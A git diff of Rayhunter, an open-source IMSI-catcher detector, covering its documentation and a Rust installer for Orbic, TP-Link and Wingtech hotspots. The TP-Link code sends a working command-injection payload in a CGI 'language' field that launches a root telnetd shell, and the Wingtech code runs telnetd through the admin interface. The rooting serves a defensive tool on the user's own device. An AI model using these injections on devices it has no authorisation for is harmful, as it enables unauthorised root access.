Make sure USB tethering is also enabled in the Orbic's UI, and then run the following commands:
```sh
installer util shell "echo 9 > /usrdata/mode.cfg"
installer util shell reboot
```
To disable tethering again:
```sh
installer util shell "echo 3 > /usrdata/mode.cfg"
installer util shell reboot
```
See `/data/usb/boot_hsusb_composition` for a list of USB modes and Android USB gadget settings.
+20 -1
View File
@@ -1,3 +1,22 @@
# Heuristics # Heuristics
TODO Rayhunter includes several analyzers to detect potential IMSI catcher activity. These can be enabled and disabled in your [config.toml](./configuration.md) file.
## Available Analyzers
- **IMSI Requested**: Tests whether the eNodeB sends an IMSI Identity Request NAS message. This
can sometimes happen under normal circumstances when the network doesn't already have a TMSI
(Temporary Mobile Subscriber ID or GUTI in 5G terminology) for your device. This most often
happens when you first turn the device on, especially after it has been off for a long time or
if you are in an area where ther is absolutely no connection to your service provider. This can
also happen if you leave your device on while on an airplane and it suddenly connects to a new
tower after being disconnected for a long time.
However, if you get this warning at a time when you have been steadily connected to towers and the device has been on for a while it can be treated as suspcious.
- **Connection Release/Redirected Carrier 2G Downgrade**: Tests if a cell
releases our connection and redirects us to a 2G cell. This heuristic only
makes sense in the US or other countries where there are no more operating 2G base stations.
Users in contries where 2G is still in service (such as most of EU) may want to disable it.
See https://en.wikipedia.org/wiki/2G#Past_2G_networks for information about your country.
- **LTE SIB6/7 Downgrade**: Tests for LTE cells broadcasting a SIB type 6 and 7
which include 2G/3G frequencies with higher priorities
- **Null Cipher**: Tests whether the cell suggests using a null cipher (EEA0).
+1 -1
View File
@@ -29,4 +29,4 @@ Windows support in Rayhunter's installer is a work-in-progress. Depending on the
5. Run the install script: `.\installer.exe orbic` and hit enter. 5. Run the install script: `.\installer.exe orbic` and hit enter.
- The device will restart multiple times over the next few minutes. - The device will restart multiple times over the next few minutes.
- You will know it is done when you see terminal output that says `checking for rayhunter server...success!` - You will know it is done when you see terminal output that says `checking for rayhunter server...success!`
6. Rayhunter should now be running! You can verify this by following the instructions below to [view the web UI](#usage-viewing-the-web-ui). You should also see a green line flash along the top of top the display on the device. 6. Rayhunter should now be running! You can verify this by following the instructions below to [view the web UI](./using-rayhunter.md#the-web-ui). You should also see a green line flash along the top of top the display on the device.
+4 -4
View File
@@ -12,8 +12,8 @@ Make sure you've got one of Rayhunter's [supported devices](./supported-devices.
3. Turn on your device by holding the power button on the front. 3. Turn on your device by holding the power button on the front.
* For the Orbic, connect the device using a USB-C cable. * For the Orbic, connect the device using a USB-C cable.
* For TP-Link, connect to its network using either WiFi or USB Tethering. * For TP-Link, connect to its network using either WiFi or USB Tethering.
4. Run the install script for your operating system: 4. Run the install script for your operating system:
@@ -26,7 +26,7 @@ Make sure you've got one of Rayhunter's [supported devices](./supported-devices.
```bash ```bash
# On MacOS, you must first remove the quarantine bit # On MacOS, you must first remove the quarantine bit
xattr -d com.apple.quarantine install xattr -d com.apple.quarantine installer
``` ```
Then run the installer: Then run the installer:
```bash ```bash
@@ -38,7 +38,7 @@ Make sure you've got one of Rayhunter's [supported devices](./supported-devices.
You will know it is done when you see terminal output that says `Testing Rayhunter... done` You will know it is done when you see terminal output that says `Testing Rayhunter... done`
5. Rayhunter should now be running! You can verify this by [viewing Rayhunter's web UI](./using-rayhunter). You should also see a green line flash along the top of top the display on the device. 5. Rayhunter should now be running! You can verify this by [viewing Rayhunter's web UI](./using-rayhunter.md). You should also see a green line flash along the top of top the display on the device.
## Troubleshooting ## Troubleshooting
+2 -2
View File
@@ -1,7 +1,7 @@
![Rayhunter Logo - An Orca taking a bite out of a cellular signal bar](https://www.eff.org/files/styles/media_browser_preview/public/banner_library/rayhunter-banner.png)
# Rayhunter # Rayhunter
<img style="display: block; margin: 0 auto" alt="Rayhunter Logo - An Orca taking a bite out of a cellular signal bar" src="https://www.eff.org/files/styles/media_browser_preview/public/banner_library/rayhunter-banner.png" />
Rayhunter is a project for detecting IMSI catchers, also known as cell-site simulators or stingrays. It's designed to run on a cheap mobile hotspot called the Orbic RC400L, but thanks to community efforts can [support some other devices as well](./supported-devices.md). Rayhunter is a project for detecting IMSI catchers, also known as cell-site simulators or stingrays. It's designed to run on a cheap mobile hotspot called the Orbic RC400L, but thanks to community efforts can [support some other devices as well](./supported-devices.md).
It's also designed to be as easy to install and use as possible, regardless of you level of technical skills. This guide should provide you all you need to acquire a compatible device, install Rayhunter, and start catching IMSI catchers. It's also designed to be as easy to install and use as possible, regardless of you level of technical skills. This guide should provide you all you need to acquire a compatible device, install Rayhunter, and start catching IMSI catchers.
+6
View File
@@ -18,3 +18,9 @@ or on [eBay](https://www.ebay.com/sch/i.html?_nkw=orbic+rc400l).
| Wifi 2.4Ghz | b/g/n | | Wifi 2.4Ghz | b/g/n |
| Wifi 5Ghz | a/ac/ax | | Wifi 5Ghz | a/ac/ax |
| Wifi 6 | 🮱 | | Wifi 6 | 🮱 |
## Obtaining a shell
After running through the installation procedure, you can obtain a root shell
by running `adb shell` or `./installer util shell`. Then, inside of that shell
you can run `/bin/rootshell` to obtain "fakeroot."
+1
View File
@@ -6,3 +6,4 @@ If you have a device in mind which you'd like Rayhunter to support, please [open
- [Orbic RC400L](./orbic.md) - [Orbic RC400L](./orbic.md)
- [TP-Link M7350](./tplink-m7350.md) - [TP-Link M7350](./tplink-m7350.md)
- [TP-Link M7310](./tplink-m7310.md)
+6
View File
@@ -0,0 +1,6 @@
# TP-Link M7310
The TP-Link M7310 is **supported by Rayhunter since 0.3.5**. The device
works similarly to the [M7350](./tplink-m7350.md) and is essentially an older,
more expensive version of it. Hardware version v1.0 has been successfully
tested, later versions may work as well.
+6 -16
View File
@@ -1,14 +1,14 @@
# TP-Link M7350 # TP-Link M7350
The TP-Link M7350 is supported by Rayhunter from 0.3.0 release. TP-Link M7350 supports many more frequency bands than Orbic and therefore works in Europe and also in some Asian and African countries. The TP-Link M7350 is **supported by Rayhunter since 0.3.0**. TP-Link M7350 supports many more frequency bands than Orbic and therefore works in Europe and also in some Asian and African countries.
## Hardware versions ## Hardware versions
The TP-Link comes in many different *hardware versions*. Support for installation varies: The TP-Link comes in many different *hardware versions*. Support for installation varies:
* `1.0`, `2.0`: **Not suported**, probably impossible to obtain anymore (even second-hand), however there is one report that installation is possible on `1.0` (but no reports if it is working or not) * `1.0`, `2.0`: **Not supported**, devs are not able to obtain a device
* `3.0`, `3.2`, `5.0`, `5.2`, `7.0`, `8.0`: **Tested, no known issues since 0.3.0.** * `3.0`, `3.2`, `5.0`, `5.2`, `7.0`, `8.0`: **Tested, no known issues since 0.3.0.**
* `6.2`: **One user reported it is working** * `6.2`: **One user reported it is working, not tested**
* `4.0`: **Manual firmware downgrade required** ([issue](https://github.com/EFForg/rayhunter/issues/332)) * `4.0`: **Manual firmware downgrade required** ([issue](https://github.com/EFForg/rayhunter/issues/332))
* `9.0`: **Working since 0.3.2.** * `9.0`: **Working since 0.3.2.**
@@ -20,7 +20,7 @@ When filing bug reports, particularly with the installer, please always specify
You can get your TP-Link M7350 from: You can get your TP-Link M7350 from:
* First check for used offers on Ebay or equivalent, sometimes it's much cheaper there. * First check for used offers on local sites, sometimes it's much cheaper there.
* [Geizhals price comparison](https://geizhals.eu/?fs=tp-link+m7350) * [Geizhals price comparison](https://geizhals.eu/?fs=tp-link+m7350)
* [Ebay](https://www.ebay.com/sch/i.html?_nkw=tp-link+m7350&_sacat=0&_from=R40&_trksid=p4432023.m570.l1313) * [Ebay](https://www.ebay.com/sch/i.html?_nkw=tp-link+m7350&_sacat=0&_from=R40&_trksid=p4432023.m570.l1313)
@@ -28,6 +28,8 @@ You can get your TP-Link M7350 from:
Follow the [release installation guide](./installing-from-release.md). Substitute `./installer orbic` for `./installer tplink` in other documentation. The Rayhunter UI will be available at [http://192.168.0.1:8080](http://192.168.0.1:8080). Follow the [release installation guide](./installing-from-release.md). Substitute `./installer orbic` for `./installer tplink` in other documentation. The Rayhunter UI will be available at [http://192.168.0.1:8080](http://192.168.0.1:8080).
## Obtaining a shell
Unlike on Orbic, the installer will not enable ADB. Instead, you can obtain a root shell with the following command: Unlike on Orbic, the installer will not enable ADB. Instead, you can obtain a root shell with the following command:
```sh ```sh
@@ -45,18 +47,6 @@ If your device has a one-bit (black-and-white) display, Rayhunter will instead s
* `:)` (smiling) means "recording" * `:)` (smiling) means "recording"
* `:` (face with no mouth) means "paused" * `:` (face with no mouth) means "paused"
## Configuration
Displaying status can be changed in the configuration (`config.toml`) file, where UI level (`ui_level` variable) could be changed to:
- `0`: invisible mode, no indicator that Rayhunter is running
- `1`: subtle mode, display a green line at the top of the screen when Rayhunter is running
- `2`: demo mode, display a fun Orca GIF
- `3`: display the EFF logo
You can also change `colorblind_mode` (default is `false`) to `true`. In that case there will be blue line instead of green line.
You can change the `port` (default is `8080`) where Rayhunter is listening for incoming connections and more advanced users can change the variables `qmdl_store_path` and `debug_mode`. However, change those variables only if you know what you are doing.
## Power-saving mode/sleep ## Power-saving mode/sleep
By default the device will go to sleep after N minutes of no devices being connected. In that mode it will also turn off connections to cell phone towers. By default the device will go to sleep after N minutes of no devices being connected. In that mode it will also turn off connections to cell phone towers.
+3 -1
View File
@@ -1,6 +1,6 @@
# Using Rayhunter # Using Rayhunter
Once installed, Rayhunter will run automatically whenever your device is running. You'll see a green line on top of the device's display to indicate that it's running and recording. [The line will turn red](#red) once a potential IMSI catcher has been found, until the device is rebooted or a new recording is started through the web UI. Once installed, Rayhunter will run automatically whenever your device is running. You'll see a green line on top of the device's display to indicate that it's running and recording. [The line will turn red](./faq.md#red) once a potential IMSI catcher has been found, until the device is rebooted or a new recording is started through the web UI.
![Rayhunter_0 3 2](./Rayhunter_0.3.2.png) ![Rayhunter_0 3 2](./Rayhunter_0.3.2.png)
@@ -29,3 +29,5 @@ You can access this UI in one of two ways:
## Key shortcuts ## Key shortcuts
As of 0.3.3, you can start a new recording by double-tapping the power button. Any current recording will be stopped and a new recording will be started, resetting the red line as well. As of 0.3.3, you can start a new recording by double-tapping the power button. Any current recording will be stopped and a new recording will be started, resetting the red line as well.
**This feature is disabled by default since 0.4.0** and needs to be enabled through [configuration](./configuration.md).
+8 -5
View File
@@ -1,11 +1,14 @@
[package] [package]
name = "installer" name = "installer"
version = "0.3.3" version = "0.4.0"
edition = "2024" edition = "2024"
[dependencies] [dependencies]
aes = "0.8.4"
anyhow = "1.0.98" anyhow = "1.0.98"
axum = "0.8.3" axum = "0.8.3"
base64_light = "0.1.5"
block-padding = "0.3.3"
bytes = "1.10.1" bytes = "1.10.1"
clap = { version = "4.5.37", features = ["derive"] } clap = { version = "4.5.37", features = ["derive"] }
env_logger = "0.11.8" env_logger = "0.11.8"
@@ -21,13 +24,13 @@ tokio-retry2 = "0.5.7"
tokio-stream = "0.1.17" tokio-stream = "0.1.17"
[target.'cfg(target_os = "linux")'.dependencies.adb_client] [target.'cfg(target_os = "linux")'.dependencies.adb_client]
git = "https://github.com/gaykitty/adb_client.git" git = "https://github.com/EFForg/adb_client.git"
rev = "e732fc178a0eb237138e4091059ff5ffa241385a" rev = "e511662394e4fa32865c154c40f81a3d846f700c"
default-features = false default-features = false
features = ["trans-nusb"] features = ["trans-nusb"]
[target.'cfg(any(target_os = "windows", target_os = "macos"))'.dependencies.adb_client] [target.'cfg(any(target_os = "windows", target_os = "macos"))'.dependencies.adb_client]
git = "https://github.com/gaykitty/adb_client.git" git = "https://github.com/EFForg/adb_client.git"
rev = "e732fc178a0eb237138e4091059ff5ffa241385a" rev = "e511662394e4fa32865c154c40f81a3d846f700c"
default-features = false default-features = false
features = ["trans-libusb"] features = ["trans-libusb"]
+9 -4
View File
@@ -8,17 +8,22 @@ fn main() {
env!("CARGO_MANIFEST_DIR"), env!("CARGO_MANIFEST_DIR"),
"/../target/armv7-unknown-linux-musleabihf/firmware/" "/../target/armv7-unknown-linux-musleabihf/firmware/"
)); ));
set_binary_var(&include_dir, "FILE_ROOTSHELL", "rootshell"); set_binary_var(include_dir, "FILE_ROOTSHELL", "rootshell");
set_binary_var( set_binary_var(
&include_dir, include_dir,
"FILE_RAYHUNTER_DAEMON_ORBIC", "FILE_RAYHUNTER_DAEMON_ORBIC",
"rayhunter-daemon", "rayhunter-daemon",
); );
set_binary_var( set_binary_var(
&include_dir, include_dir,
"FILE_RAYHUNTER_DAEMON_TPLINK", "FILE_RAYHUNTER_DAEMON_TPLINK",
"rayhunter-daemon", "rayhunter-daemon",
); );
set_binary_var(
include_dir,
"FILE_RAYHUNTER_DAEMON_WINGTECH",
"rayhunter-daemon",
);
} }
fn set_binary_var(include_dir: &Path, var: &str, file: &str) { fn set_binary_var(include_dir: &Path, var: &str, file: &str) {
@@ -26,7 +31,7 @@ fn set_binary_var(include_dir: &Path, var: &str, file: &str) {
let out_dir = std::env::var("OUT_DIR").unwrap(); let out_dir = std::env::var("OUT_DIR").unwrap();
std::fs::create_dir_all(&out_dir).unwrap(); std::fs::create_dir_all(&out_dir).unwrap();
let blank = Path::new(&out_dir).join("blank"); let blank = Path::new(&out_dir).join("blank");
std::fs::write(&blank, &[]).unwrap(); std::fs::write(&blank, []).unwrap();
println!("cargo::rustc-env={var}={}", blank.display()); println!("cargo::rustc-env={var}={}", blank.display());
return; return;
} }
+22
View File
@@ -4,6 +4,8 @@ use env_logger::Env;
mod orbic; mod orbic;
mod tplink; mod tplink;
mod util;
mod wingtech;
pub static CONFIG_TOML: &str = include_str!("../../dist/config.toml.example"); pub static CONFIG_TOML: &str = include_str!("../../dist/config.toml.example");
pub static RAYHUNTER_DAEMON_INIT: &str = include_str!("../../dist/scripts/rayhunter_daemon"); pub static RAYHUNTER_DAEMON_INIT: &str = include_str!("../../dist/scripts/rayhunter_daemon");
@@ -21,6 +23,8 @@ enum Command {
Orbic(InstallOrbic), Orbic(InstallOrbic),
/// Install rayhunter on the TP-Link M7350. /// Install rayhunter on the TP-Link M7350.
Tplink(InstallTpLink), Tplink(InstallTpLink),
/// Install rayhunter on the Wingtech CT2MHS01.
Wingtech(WingtechArgs),
/// Developer utilities. /// Developer utilities.
Util(Util), Util(Util),
} }
@@ -65,6 +69,10 @@ enum UtilSubCommand {
Shell(Shell), Shell(Shell),
/// Root the tplink and launch telnetd. /// Root the tplink and launch telnetd.
TplinkStartTelnet(TplinkStartTelnet), TplinkStartTelnet(TplinkStartTelnet),
/// Root the Wingtech and launch telnetd.
WingtechStartTelnet(WingtechArgs),
/// Root the Wingtech and launch adb.
WingtechStartAdb(WingtechArgs),
} }
#[derive(Parser, Debug)] #[derive(Parser, Debug)]
@@ -74,6 +82,17 @@ struct TplinkStartTelnet {
admin_ip: String, admin_ip: String,
} }
#[derive(Parser, Debug)]
struct WingtechArgs {
/// IP address for Wingtech admin interface, if custom.
#[arg(long, default_value = "192.168.1.1")]
admin_ip: String,
/// Web portal admin password.
#[arg(long)]
admin_password: String,
}
#[derive(Parser, Debug)] #[derive(Parser, Debug)]
struct Serial { struct Serial {
#[arg(long)] #[arg(long)]
@@ -91,6 +110,7 @@ async fn run() -> Result<(), Error> {
match command { match command {
Command::Tplink(tplink) => tplink::main_tplink(tplink).await.context("Failed to install rayhunter on the TP-Link M7350. Make sure your computer is connected to the hotspot using USB tethering or WiFi.")?, Command::Tplink(tplink) => tplink::main_tplink(tplink).await.context("Failed to install rayhunter on the TP-Link M7350. Make sure your computer is connected to the hotspot using USB tethering or WiFi.")?,
Command::Orbic(_) => orbic::install().await.context("\nFailed to install rayhunter on the Orbic RC400L")?, Command::Orbic(_) => orbic::install().await.context("\nFailed to install rayhunter on the Orbic RC400L")?,
Command::Wingtech(args) => wingtech::install(args).await.context("\nFailed to install rayhunter on the Wingtech CT2MHS01")?,
Command::Util(subcommand) => match subcommand.command { Command::Util(subcommand) => match subcommand.command {
UtilSubCommand::Serial(serial_cmd) => { UtilSubCommand::Serial(serial_cmd) => {
if serial_cmd.root { if serial_cmd.root {
@@ -114,6 +134,8 @@ async fn run() -> Result<(), Error> {
UtilSubCommand::TplinkStartTelnet(options) => { UtilSubCommand::TplinkStartTelnet(options) => {
tplink::start_telnet(&options.admin_ip).await?; tplink::start_telnet(&options.admin_ip).await?;
} }
UtilSubCommand::WingtechStartTelnet(args) => wingtech::start_telnet(&args.admin_ip, &args.admin_password).await.context("\nFailed to start telnet on the Wingtech CT2MHS01")?,
UtilSubCommand::WingtechStartAdb(args) => wingtech::start_adb(&args.admin_ip, &args.admin_password).await.context("\nFailed to start adb on the Wingtech CT2MHS01")?,
} }
} }
+6 -25
View File
@@ -9,6 +9,7 @@ use nusb::{Device, Interface};
use sha2::{Digest, Sha256}; use sha2::{Digest, Sha256};
use tokio::time::sleep; use tokio::time::sleep;
use crate::util::echo;
use crate::{CONFIG_TOML, RAYHUNTER_DAEMON_INIT}; use crate::{CONFIG_TOML, RAYHUNTER_DAEMON_INIT};
pub const ORBIC_NOT_FOUND: &str = r#"No Orbic device found. pub const ORBIC_NOT_FOUND: &str = r#"No Orbic device found.
@@ -40,13 +41,6 @@ const RNDIS_INTERFACE: u8 = 0;
#[cfg(not(target_os = "windows"))] #[cfg(not(target_os = "windows"))]
const RNDIS_INTERFACE: u8 = 1; const RNDIS_INTERFACE: u8 = 1;
macro_rules! echo {
($($arg:tt)*) => {
print!($($arg)*);
let _ = std::io::stdout().flush();
};
}
pub async fn install() -> Result<()> { pub async fn install() -> Result<()> {
let mut adb_device = force_debug_mode().await?; let mut adb_device = force_debug_mode().await?;
echo!("Installing rootshell... "); echo!("Installing rootshell... ");
@@ -81,17 +75,10 @@ async fn force_debug_mode() -> Result<ADBUSBDevice> {
Ok(adb_device) Ok(adb_device)
} }
async fn setup_rootshell( async fn setup_rootshell(adb_device: &mut ADBUSBDevice) -> Result<()> {
adb_device: &mut ADBUSBDevice,
) -> Result<()> {
let rootshell_bin = include_bytes!(env!("FILE_ROOTSHELL")); let rootshell_bin = include_bytes!(env!("FILE_ROOTSHELL"));
install_file( install_file(adb_device, "/bin/rootshell", rootshell_bin).await?;
adb_device,
"/bin/rootshell",
rootshell_bin,
)
.await?;
tokio::time::sleep(Duration::from_secs(1)).await; tokio::time::sleep(Duration::from_secs(1)).await;
adb_at_syscmd(adb_device, "chown root /bin/rootshell").await?; adb_at_syscmd(adb_device, "chown root /bin/rootshell").await?;
tokio::time::sleep(Duration::from_secs(1)).await; tokio::time::sleep(Duration::from_secs(1)).await;
@@ -103,9 +90,7 @@ async fn setup_rootshell(
Ok(()) Ok(())
} }
async fn setup_rayhunter( async fn setup_rayhunter(mut adb_device: ADBUSBDevice) -> Result<ADBUSBDevice> {
mut adb_device: ADBUSBDevice,
) -> Result<ADBUSBDevice> {
let rayhunter_daemon_bin = include_bytes!(env!("FILE_RAYHUNTER_DAEMON_ORBIC")); let rayhunter_daemon_bin = include_bytes!(env!("FILE_RAYHUNTER_DAEMON_ORBIC"));
adb_at_syscmd(&mut adb_device, "mkdir -p /data/rayhunter").await?; adb_at_syscmd(&mut adb_device, "mkdir -p /data/rayhunter").await?;
@@ -169,11 +154,7 @@ async fn test_rayhunter(adb_device: &mut ADBUSBDevice) -> Result<()> {
bail!("timeout reached! failed to reach rayhunter, something went wrong :(") bail!("timeout reached! failed to reach rayhunter, something went wrong :(")
} }
async fn install_file( async fn install_file(adb_device: &mut ADBUSBDevice, dest: &str, payload: &[u8]) -> Result<()> {
adb_device: &mut ADBUSBDevice,
dest: &str,
payload: &[u8],
) -> Result<()> {
const MAX_FAILURES: u32 = 5; const MAX_FAILURES: u32 = 5;
let mut failures = 0; let mut failures = 0;
loop { loop {
@@ -250,7 +231,7 @@ async fn get_adb() -> Result<ADBUSBDevice> {
Err(RustADBError::IOError(e)) if e.kind() == ErrorKind::ResourceBusy => { Err(RustADBError::IOError(e)) if e.kind() == ErrorKind::ResourceBusy => {
bail!(ORBIC_BUSY); bail!(ORBIC_BUSY);
} }
#[cfg(any(target_os = "macos", target_os="windows"))] #[cfg(any(target_os = "macos", target_os = "windows"))]
Err(RustADBError::IOError(e)) if e.kind() == ErrorKind::PermissionDenied => { Err(RustADBError::IOError(e)) if e.kind() == ErrorKind::PermissionDenied => {
bail!(ORBIC_BUSY_MAC); bail!(ORBIC_BUSY_MAC);
} }
+29 -114
View File
@@ -15,11 +15,10 @@ use bytes::{Bytes, BytesMut};
use hyper::StatusCode; use hyper::StatusCode;
use hyper_util::{client::legacy::connect::HttpConnector, rt::TokioExecutor}; use hyper_util::{client::legacy::connect::HttpConnector, rt::TokioExecutor};
use serde::Deserialize; use serde::Deserialize;
use tokio::io::{AsyncReadExt, AsyncWriteExt}; use tokio::time::sleep;
use tokio::net::TcpStream;
use tokio::time::{sleep, timeout};
use crate::InstallTpLink; use crate::InstallTpLink;
use crate::util::{telnet_send_command, telnet_send_file};
type HttpProxyClient = hyper_util::client::legacy::Client<HttpConnector, Body>; type HttpProxyClient = hyper_util::client::legacy::Client<HttpConnector, Body>;
@@ -40,25 +39,32 @@ struct V3RootResponse {
} }
pub async fn start_telnet(admin_ip: &str) -> Result<bool, Error> { pub async fn start_telnet(admin_ip: &str) -> Result<bool, Error> {
let qcmap_web_cgi_endpoint = format!("http://{admin_ip}/cgi-bin/qcmap_web_cgi");
let client = reqwest::Client::new(); let client = reqwest::Client::new();
println!("Launching telnet on the device"); println!("Launching telnet on the device");
// https://github.com/advisories/GHSA-ffwq-9r7p-3j6r for endpoint in [
// in particular: https://www.yuque.com/docs/share/fca60ef9-e5a4-462a-a984-61def4c9b132 // TP-Link M7350 v3
let response = client.post(&qcmap_web_cgi_endpoint) // https://github.com/advisories/GHSA-ffwq-9r7p-3j6r
.body(r#"{"module": "webServer", "action": 1, "language": "EN';echo $(busybox telnetd -l /bin/sh);echo 1'"}"#) // in particular: https://www.yuque.com/docs/share/fca60ef9-e5a4-462a-a984-61def4c9b132
.send() format!("http://{admin_ip}/cgi-bin/qcmap_web_cgi"),
.await?; // TP-Link M7310 v1
// (adaptation of M7350 exploit)
format!("http://{admin_ip}/cgi-bin/web_cgi"),
] {
let response = client.post(&endpoint)
.body(r#"{"module": "webServer", "action": 1, "language": "EN';echo $(busybox telnetd -l /bin/sh);echo 1'"}"#)
.send()
.await?;
let is_v3 = response.status() != 404; if response.status() == 404 {
continue;
}
if !is_v3 { let Ok(V3RootResponse { result }) = response.error_for_status()?.json().await else {
println!("Got a 404 trying to run exploit for hardware revision v3, trying v5 exploit"); // On TP-Link M7350 v9, the endpoint /cgi-bin/web_cgi returns 200 OK without launching telnet, and without a response body.
tplink_launch_telnet_v5(admin_ip).await?; continue;
} else { };
let V3RootResponse { result } = response.error_for_status()?.json().await?;
if result != 0 { if result != 0 {
anyhow::bail!("Bad result code when trying to root device: {result}"); anyhow::bail!("Bad result code when trying to root device: {result}");
@@ -67,7 +73,7 @@ pub async fn start_telnet(admin_ip: &str) -> Result<bool, Error> {
// resetting the language is important because otherwise the tplink's admin interface is // resetting the language is important because otherwise the tplink's admin interface is
// unusuable. // unusuable.
let V3RootResponse { result } = client let V3RootResponse { result } = client
.post(&qcmap_web_cgi_endpoint) .post(&endpoint)
.body(r#"{"module": "webServer", "action": 1, "language": "en"}"#) .body(r#"{"module": "webServer", "action": 1, "language": "en"}"#)
.send() .send()
.await? .await?
@@ -80,12 +86,13 @@ pub async fn start_telnet(admin_ip: &str) -> Result<bool, Error> {
} }
println!("Detected hardware revision v3"); println!("Detected hardware revision v3");
return Ok(true);
} }
println!( println!("Got a 404 trying to run exploit for hardware revision v3, trying v5 exploit");
"Succeeded in rooting the device! Now you can use 'telnet {admin_ip}' to get a root shell. Use './installer util tplink-start-telnet' to root again without installing rayhunter." tplink_launch_telnet_v5(admin_ip).await?;
);
Ok(is_v3) Ok(false)
} }
async fn tplink_run_install( async fn tplink_run_install(
@@ -159,6 +166,7 @@ async fn tplink_run_install(
rayhunter_daemon_bin, rayhunter_daemon_bin,
) )
.await?; .await?;
telnet_send_file( telnet_send_file(
addr, addr,
"/etc/init.d/rayhunter_daemon", "/etc/init.d/rayhunter_daemon",
@@ -195,99 +203,6 @@ async fn tplink_run_install(
Ok(()) Ok(())
} }
async fn telnet_send_file(addr: SocketAddr, filename: &str, payload: &[u8]) -> Result<(), Error> {
println!("Sending file {filename}");
// remove the old file just in case we are close to disk capacity.
telnet_send_command(addr, &format!("rm {filename}"), "").await?;
{
let filename = filename.to_owned();
let handle = tokio::spawn(async move {
telnet_send_command(addr, &format!("nc -l 0.0.0.0:8081 > {filename}.tmp"), "").await
});
sleep(Duration::from_millis(100)).await;
let mut addr = addr;
addr.set_port(8081);
let mut stream = TcpStream::connect(addr).await?;
stream.write_all(payload).await?;
handle.await??;
}
let checksum = md5::compute(payload);
telnet_send_command(
addr,
&format!("md5sum {filename}.tmp"),
&format!("{checksum:x} {filename}.tmp"),
)
.await?;
telnet_send_command(
addr,
&format!("mv {filename}.tmp {filename}"),
"exit code 0",
)
.await?;
Ok(())
}
async fn telnet_send_command(
addr: SocketAddr,
command: &str,
expected_output: &str,
) -> Result<(), Error> {
let stream = TcpStream::connect(addr).await?;
let (mut reader, mut writer) = stream.into_split();
loop {
let mut next_byte = 0;
reader
.read_exact(std::slice::from_mut(&mut next_byte))
.await?;
if next_byte == b'#' {
break;
}
}
writer.write_all(command.as_bytes()).await?;
writer.write_all(b"; echo exit code $?\r\n").await?;
let mut read_buf = Vec::new();
let _ = timeout(Duration::from_secs(5), async {
let mut buf = [0; 4096];
loop {
let Ok(bytes_read) = reader.read(&mut buf).await else {
break;
};
let bytes = &buf[..bytes_read];
if bytes.is_empty() {
continue;
}
read_buf.extend(bytes);
if read_buf.ends_with(b"/ # ") {
break;
}
}
})
.await;
let string = String::from_utf8_lossy(&read_buf);
if !string.contains(expected_output) {
anyhow::bail!("{expected_output:?} not found in: {string}");
}
Ok(())
}
#[derive(Clone)] #[derive(Clone)]
struct AppState { struct AppState {
client: HttpProxyClient, client: HttpProxyClient,
+90
View File
@@ -0,0 +1,90 @@
use std::io::Write;
use std::net::SocketAddr;
use std::time::Duration;
use anyhow::{Result, bail};
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::net::TcpStream;
use tokio::time::{sleep, timeout};
macro_rules! echo {
($($arg:tt)*) => {
print!($($arg)*);
let _ = std::io::stdout().flush();
};
}
pub(crate) use echo;
pub async fn telnet_send_command(
addr: SocketAddr,
command: &str,
expected_output: &str,
) -> Result<()> {
let stream = TcpStream::connect(addr).await?;
let (mut reader, mut writer) = stream.into_split();
loop {
let mut next_byte = 0;
reader
.read_exact(std::slice::from_mut(&mut next_byte))
.await?;
if next_byte == b'#' {
break;
}
}
writer.write_all(command.as_bytes()).await?;
writer.write_all(b"; echo exit code $?\r\n").await?;
let mut read_buf = Vec::new();
let _ = timeout(Duration::from_secs(5), async {
let mut buf = [0; 4096];
loop {
let Ok(bytes_read) = reader.read(&mut buf).await else {
break;
};
let bytes = &buf[..bytes_read];
if bytes.is_empty() {
continue;
}
read_buf.extend(bytes);
if read_buf.ends_with(b"/ # ") {
break;
}
}
})
.await;
let string = String::from_utf8_lossy(&read_buf);
if !string.contains(expected_output) {
bail!("{expected_output:?} not found in: {string}");
}
Ok(())
}
pub async fn telnet_send_file(addr: SocketAddr, filename: &str, payload: &[u8]) -> Result<()> {
echo!("Sending file {filename} ... ");
{
let filename = filename.to_owned();
let handle = tokio::spawn(async move {
telnet_send_command(addr, &format!("nc -l -p 8081 >{filename}.tmp"), "").await
});
sleep(Duration::from_millis(100)).await;
let mut addr = addr;
addr.set_port(8081);
let mut stream = TcpStream::connect(addr).await?;
stream.write_all(payload).await?;
handle.await??;
}
let checksum = md5::compute(payload);
telnet_send_command(
addr,
&format!("md5sum {filename}.tmp"),
&format!("{checksum:x} {filename}.tmp"),
)
.await?;
telnet_send_command(
addr,
&format!("mv {filename}.tmp {filename}"),
"exit code 0",
)
.await?;
println!("ok");
Ok(())
}
+182
View File
@@ -0,0 +1,182 @@
/// Installer for the Wingtech CT2MHS01 hotspot.
///
/// Tested on (from `/etc/wt_version`):
/// WT_INNER_VERSION=SW_Q89323AA1_V057_M10_CRICKET_USR_MP
/// WT_PRODUCTION_VERSION=CT2MHS01_0.04.55
/// WT_HARDWARE_VERSION=89323_1_20
use std::io::Write;
use std::net::SocketAddr;
use std::str::FromStr;
use std::time::Duration;
use aes::Aes128;
use aes::cipher::{BlockEncrypt, KeyInit, generic_array::GenericArray};
use anyhow::{Context, Result, bail};
use base64_light::base64_encode_bytes;
use block_padding::{Padding, Pkcs7};
use reqwest::Client;
use serde::Deserialize;
use tokio::time::sleep;
use crate::WingtechArgs as Args;
use crate::util::{echo, telnet_send_command, telnet_send_file};
#[derive(Deserialize)]
struct LoginResponse {
token: String,
}
pub async fn install(
Args {
admin_ip,
admin_password,
}: Args,
) -> Result<()> {
wingtech_run_install(admin_ip, admin_password).await
}
const KEY: &[u8] = b"abcdefghijklmn12";
/// Returns password encrypted in AES128 ECB mode with the key b"abcdefghijklmn12",
/// with Pkcs7 padding, encoded in base64.
fn encrypt_password(password: &[u8]) -> Result<String> {
let c = Aes128::new_from_slice(KEY)?;
let mut b = GenericArray::from([0u8; 16]);
b[..password.len()].copy_from_slice(password);
Pkcs7::pad(&mut b, password.len());
c.encrypt_block(&mut b);
Ok(base64_encode_bytes(&b))
}
pub async fn start_telnet(admin_ip: &str, admin_password: &str) -> Result<()> {
run_command(admin_ip, admin_password, "busybox telnetd -l /bin/sh").await
}
pub async fn start_adb(admin_ip: &str, admin_password: &str) -> Result<()> {
run_command(admin_ip, admin_password, "/sbin/usb/compositions/9025").await
}
async fn run_command(admin_ip: &str, admin_password: &str, cmd: &str) -> Result<()> {
let qcmap_auth_endpoint = format!("http://{admin_ip}/cgi-bin/qcmap_auth");
let qcmap_web_cgi_endpoint = format!("http://{admin_ip}/cgi-bin/qcmap_web_cgi");
